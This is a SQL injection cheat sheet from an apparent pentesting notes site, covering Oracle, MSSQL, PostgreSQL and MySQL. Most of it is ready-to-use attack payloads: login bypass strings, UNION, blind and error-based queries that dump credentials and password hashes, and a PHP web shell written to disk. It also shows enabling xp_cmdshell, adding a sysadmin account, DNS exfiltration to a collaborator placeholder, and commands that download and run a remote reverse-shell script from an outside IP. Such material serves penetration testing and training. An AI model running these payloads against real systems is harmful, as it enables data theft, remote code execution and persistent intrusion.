Twitter Blog

SQLi

Introduction

A SQL injection attack consists of inserting SQL statements on a SQL query via the input data from the client to the application. This vulnerability takes place due to incorrect filtering or lack of data sanitisation.

Exploiting this vulnerability can lead to bypassing logins, reading or modifying sensitive data from the database, executing administration operations on the database and reading or writing files on the operating system.

For example, a simple string that the attacker can use to bypass login portals would be:

' or '1'='1 -- -

Finally, each database server has its difference, so queries for MySQL injection might not work on oracle database servers.

Cheat sheet

Most of the commands are retrieved from Port Swigger's cheat sheet.

String concatenation

DBMSTECHNIQUE

Oracle

'foo'

Microsoft

'foo'+'bar'

PostgreSQL

'foo'

MySQL

'foo' 'bar' or CONCAT('foo','bar')

Substring

Obtain a substring where "X" is the offset and "Y" is the lenght of the substring.

DBMSTECHNIQUE

Oracle

SUBSTR('BLABLA', X, Y)

Microsoft

SUBSTRING('BLABLA', X, Y)

PostgreSQL

SUBSTRING('BLABLA', X, Y)

MySQL

SUBSTRING('BLABLA', X, Y)

Comments

The comments used to remove the rest of the original query might vary from SQL server.

DBMSTECHNIQUE

Oracle

--<COMMENT>

Microsoft

--<COMMENT> or /*<COMMENT>*/

PostgreSQL

--<COMMENT> or /*<COMMENT>*/

MySQL

#<COMMENT> or -- <COMMENT> or /*<COMMENT>*/

Obtain database version

DBMSTECHNIQUE

Oracle

SELECT banner FROM v$versionSELECT version FROM v$instance

Microsoft

SELECT @@version

PostgreSQL

SELECT version()

MySQL

SELECT @@version

Database content

Oracle

# DATABASES
SELECT global_name FROM global_name;
SELECT name FROM V$DATABASE;
SELECT instance_name FROM V$INSTANCE;
SELECT SYS.DATABASE_NAME FROM DUAL;
# TABLES
SELECT TABLE_NAME[,owner] FROM all_tables
# COLUMNS
SELECT COLUMN_NAME FROM all_tab_columns WHERE table_name = '<TABLE_NAME>' [and owner = '<OWNER>'];
# DATA
SELECT * FROM <TABLE>

Microsoft

# OBTAIN DBMS users
SELECT name, password FROM master.sys.sysusers;
SELECT name, password_hash FROM master.sys.sql_logins-- # Sometimes casting is needed master.dbo.fn_varbintohexstr(password_hash)

# DATABASES
SELECT name FROM master..sysdatabases

# TABLES
SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES

# COLUMNS
SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'

# DATA
SELECT * FROM <DATABASE>.dbo.<TABLE_NAME>

PostgresSQL

# DATABASE
SELECT datname FROM pg_database
# TABLES
SELECT table_name FROM information_schema.tables 
# COLUMNS
SELECT column_name  FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'

MySQL

# DATABASES
SELECT schema_name FROM information_schema.schemata;
# TABLES
SELECT table_name FROM information_schema.tables WHERE table_schema = '<DATABASE>'
# COLUMNS
SELECT column_name FROM information_schema.columns WHERE table_name = '<TABLE_NAME>'

Conditional errors

If you want to perform error-based attacks, a database error is produced if the condition is true.

DBMSTECHNIQUE

Oracle

SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Microsoft

SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN 1/0 ELSE NULL END

PostgreSQL

1 = (SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN CAST(1/0 AS INTEGER) ELSE NULL END)

MySQL

SELECT IF(<YOUR-CONDITION-HERE>,(SELECT table_name FROM information_schema.tables),'a')

Stacked queries

Some DBMS do not allow performing several queries on the same stamement.

DBMSTECHNIQUE

Oracle

Does not support batched queries.

Microsoft

<QUERY_1>; <QUERY_2>

PostgreSQL

<QUERY_1>; <QUERY_2>

MySQL

<QUERY_1>; <QUERY_2>

Time delays

This set of functions can be used to perform Time-based attacks in seconds.

DBMSTECHNIQUE

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT SLEEP(10)

Conditional time delays

DBMSTECHNIQUE

Oracle

SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual

Microsoft

IF (<YOUR-CONDITION-HERE>) WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL

SELECT IF(<YOUR-CONDITION-HERE>,SLEEP(10),'a')

DNS lookup

DBMSTECHNIQUE

Oracle

The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')

Microsoft

exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'

PostgreSQL

copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'

MySQL

The following techniques work on Windows only: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP_COLLABORATOR>\a'

Data exfiltration

Oracle

None

Microsoft

declare @p varchar(1024);set @p=(SELECT <QUERY>);exec('master..xp_dirtree "//'+@p+'.<BURP-COLLABORATOR>/a"')

PostgreSQL

create OR replace function f() returns void as $$
declare c text;
declare p text;
begin
SELECT into p (<QUERY>);
c := 'copy (SELECT '''') to program ''nslookup '||p||'.<BURP-COLLABORATOR>''';
execute c;
END;
$$ language plpgsql security definer;
SELECT f();

Mysql

Works only on Windows:

SELECT <QUERY> INTO OUTFILE '\\\\<BURP-COLLABORATOR>\a'

MySQL

Union

1. First, it is necessary to know how many columns compose the query's result. To do so, you have to increment the select values.

http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,5,6,7

Alternatively, you can use order by X, where X is the index by which to order.

http://example.c/debug.php?id=1 order by 3

2. Identify the database, the user and its privileges.

# Database V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(SCHEMA_NAME,":") from information_schema.schemata),6
# Database V2
' UNION SELECT NULL, user(), database() --
# Privileges
' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--

3. Get the tables of a database.

# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":") from information_schema.TABLES where TABLE_SCHEMA = 'mysql'),6,7 
# V2
' UNION SELECT NULL, NULL , TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='db' --

4. Get the columns of the table.

# V1
http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(TABLE_NAME,":",COLUMN_NAME,"\r\n") from information_schema.COLUMNS where TABLE_SCHEMA = 'mysql'),6,7 
# V2
http://192.168.157.10/debug.php?id=1 union select 1,3,column_name FROM INFORMATION_SCHEMA.columns where table_name = 'users'
# V3
' UNION SELECT NULL, NULL ,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='wp_users'--

5. Get the data of each column.

http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(SELECT group_concat(host,":",user,":",password,"\r\n") from mysql.user),6,7
' UNION SELECT NULL, NULL ,password FROM wp_users --

Blind

  1. Discover if it is vulnerable.

Iron Man' and '1'='1' # True: Return the movie
Iron Man' and '1'='2' # False: Does not return anything

2. Know the length of the string.

Iron Man' and length(database())=1

3. Get the name of the database, where X indicates the value to be returned.

Iron Man' and hex(substring(database(),X,1))=hex('H')

4. Get the number of tables.

Iron Man' and (SELECT count(*) FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp')<5;

5. Get the name of each table, where X indicates the table and Y the character of the table's name.

Iron Man' and hex(substring((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = 'bwapp' LIMIT X,1),Y,1))<hex('z');#

6. Get the number of columns in the table.

Iron Man' and (SELECT count(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies')=7;

7. Get the name of the columns, where X indicates the column and Y is the character of the column's title.

Iron Man' and SUBSTRING((SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE WHERE TABLE_SCHEMA = 'bWAPP' and TABLE_NAME = 'movies' LIMIT X,1),Y,1)='I';

8. Get the length and content of each value in the column, where X indicates the column's value and Y is the character of that value.

# Length
Iron Man' and (SELECT CHAR_LENGTH(login) FROM users LIMIT X,1)='3';
# Value
Iron Man' and hex(substring((SELECT password FROM users LIMIT X,1),Y,1))=hex('6');

Read Files

Because the contents of a file can be appended to the result of a query, we can retrieve data from the file system.

http://example.com/room.php?cod=-1 UNION SELECT 1,2,3,4,(TO_BASE64(LOAD_FILE('/etc/passwd'))),6,7

SQLMap

sqlmap http://example.com/room.php?cod=1 --file-read=/xampp/htdocs/index.php

Write Files

Check if the database user has file privileges.

' union select grantee,privilege_type,is_grantable,4,5,6 from information_schema.user_privileges--

If the user has file privileges, the attacker can create files on the system.

2 UNION SELECT convert("1" USING binary),convert("1" USING binary),convert("1" USING binary), convert("<?php echo system(system($_GET['cmd']));?>" USING binary),convert("1" USING binary) into OUTFILE "C:\\xampp\\htdocs\\dashboard\\shell.php"

SQLMap

sqlmap http://example.com/room.php?cod=1 --file-write=/root/Desktop/shell.php --file-dest=/xampp/htdocs/shell.php

Oracle (Union)

  1. Get the number of columns for the query result.

    Note: Oracle queries required FROM statement; this can be fulfilled by using dual DB

' UNION SELECT null, null, null from dual--

2. Get table names.

' UNION SELECT table_name,null,null from all_tables--

3. Get columns from the table.

' UNION SELECT column_name,null,null from all_tab_columns where table_name='WEB_ADMINS'--

Mssql

Union

If you want to retrieve the DBMS credentials, perform the following queries..

' UNION SELECT name, password FROM master.sys.sysusers; -- -
' UNION SELECT name, password_hash FROM master.sys.sql_logins-- -
# Sometimes casting is needed
master.dbo.fn_varbintohexstr(password_hash)

1. Obtain databases.

' UNION SELECT name,NULL FROM master ..sysdatabases--

2. Get the database tables.

' UNION SELECT TABLE_NAME FROM <DATABASE>.INFORMATION_SCHEMA.TABLES--

3. Obtain columns from the table

' UNION SELECT COLUMN_NAME FROM <DATABASE>.INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '<TABLE_NAME>'--

4. Retrieve data from the table.

' UNION SELECT password FROM <DATABASE>.dbo.<TABLE_NAME>--

Note 1: In order to concatenate two columns into one select query, use the function CONCAT(username,":",password).

Note 2: If you want to retrieve N rows, use: SELECT TOP N username ....

Error based

1. You need to understand why the error is popping up, so you can create a query without mistakes. For example, missing ";", ")" or keywords. 2. Get the DB version

', CONVERT(INT,@@version))--

3. Get the database, where X is the id of the database you want to extract.

',CONVERT(INT,db_name(X)))--

4. Get the table.

',CONVERT(INT,(SELECT top 1 TABLE_NAME FROM archive.information_schema.TABLES)))--

5. Obtain the first column (id).

',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager')))--

6. Obtain the second column ("alogin").

',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager'  AND column_name NOT IN ('id'))))--

7. Obtain the third column ("psw").

',CONVERT(INT,(SELECT top 1 column_name from archive.information_schema.COLUMNS WHERE TABLE_NAME='pmanager' and column_name NOT IN ('id','alogin') )))--

8. Get the users and passwords (Iterative process).

',CONVERT(INT,(SELECT top 1 alogin FROM archive.dbo.pmanager where alogin not in ('ftpadmin','webadmin','administrator','user') order by id)))--

System Information

  • Database version:

SELECT @@version;

  • Database name:

SELECT DB_NAME();

  • Server name:

SELECT @@SERVERNAME;

  • Server's IP Address:

SELECT dec.local_net_address FROM sys.dm_exec_connections AS dec WHERE dec.session_id = @@SPID;

User Unformation

  • System user:

SELECT SYSTEM_USER;

  • Database username:

SELECT USER_NAME();
SELECT current_user;

  • Is a member of public role:

SELECT IS_SRVROLEMEMBER('public');

  • Is a member of sysadmin role:

SELECT IS_SRVROLEMEMBER('sysadmin');

  • Users that can be impersonated:

SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'

  • Authentication logins:

ℹ️It can be used to CRACK the password of the users with responder & hashcat (hashcat -m 1731 <HASHLIST> <WORDLIST>)or to IMPERSONATE LOGIN them.

ℹ️ You must be DB Administrator to impersonate them.

SELECT name, password_hash FROM master.sys.sql_logins

  • Impersonate a user:

EXECUTE AS LOGIN = 'sa';
EXECUTE AS [USER|LOGIN] = 'user2';

  • Create an account:

# Create an account
sp_addlogin 'pentest','abc123!'
# Add account to sysadmin
sp_addsrvrolemember 'pentest','sysadmin'

File System Information

  • Enumerate system folders / NTLM Relay Attack / Crack NTLM

EXEC master..xp_dirtree "\\10.10.10.4\test\a";
EXEC xp_dirtree '<FOLDER_PATH>', 2, 1

  • Read system file:

# Alternative 1
SELECT CONVERT(NVARCHAR(MAX), CONVERT(VARBINARY(MAX), BulkColumn), 1) 
FROM OpenRowset(BULK 'C:\inetpub\wwwroot\search.asp', SINGLE_CLOB) AS content

# Alternative 2
SELECT * FROM OPENROWSET(BULK 'C:\\Users\\', SINGLE_CLOB) AS Contents;

Command execution

xp_cmdshell

If you log in as as sa (administrator), you can enable command execution.

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

Then, you can execute commands as follows.

Note: Do not forget to escape the inverted commas.

'EXEC master.dbo.xp_cmdshell 'powershell "IEX(New-Object Net.WebClient).downloadString(\"<http://</Utilities/Revshells/shell.ps1\")">';

sp_OACreate

  • Enable code execution:

EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;

  • Execute commands:

DECLARE @myshell INT; EXEC sp_oacreate 'wscript.shell', @myshell OUTPUT; EXEC sp_oamethod @myshell, 'run', null, '<COMMAND>'

Linked Services

  • Enumerate linked services:

# Alternative 1
EXEC sp_linkedservers;

# Alternative 2
SELECT * FROM sys.servers;
SELECT name, product, data_source, is_linked, is_remote_login_enabled, is_rpc_out_enabled, is_data_access_enabled, is_collation_compatible, uses_remote_collation, is_system, is_remote_proc_transaction_promotion_enabled,  is_rda_server FROM sys.servers;

  • Execute commands on linked server (EXEC & AT):

ℹ️ The [] are necessary so you can perform queries to servers outside the main domain.

EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; ') AT [DC01.corp2.com];
EXEC ('xp_cmdshell ''<COMMAND>'';') AT DC01;

  • Execute on linked server via (openquery):

select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''show advanced options'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; EXEC sp_configure ''xp_cmdshell'', 1; reconfigure')
select 1 from openquery(\"dc01\", 'select 1; exec xp_cmdshell ''regsvr32 /s /n /u /i:http://192.168.49.67:8080/F0t6R5A.sct scrobj.dll''')

  • Escalate privileges via double database linked:

select mylogin from openquery(\"<FIRST_DB>\", 'select mylogin from openquery(\"<SECOND_DB>\", ''select SYSTEM_USER as mylogin'')');

  • Configure link server for RPC:

EXECUTE as LOGIN = 'sa';EXEC sp_serveroption '<LINKED_SERVICE>', 'rpc out', 'true';

SQLMAP

SQLmap is an automatic tool used to detect and exploit SQL injection flaws. This subsection will teach you how to perform a simple SQL injection with SQLMap.

  1. Intercept the request you want to analyse with BurpSuite, then store it into a file.

POST /index.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://10.10.203.65
Connection: close
Referer: http://10.10.203.65/
Cookie: PHPSESSID=6f0kqfotc3gcb80ri2c9av37t1
Upgrade-Insecure-Requests: 1

username=admin&password=password&x=25&y=16

2. Get the databases.

sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 --dbs

3. Get the tables of a database.

sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db --tables

4. Get the content of that table.

sqlmap -r request.txt --threads 10 -p username --batch --risk 3 --level 5 -D db -T users --dump

Note: Normally, SQLMap uses time-based techniques, but it can be specified to use union-based techniques with the following parameter --technique=U.

Note1: To perform posts SQLi attacks through SSL you will need to execute force-ssl

References

Last updated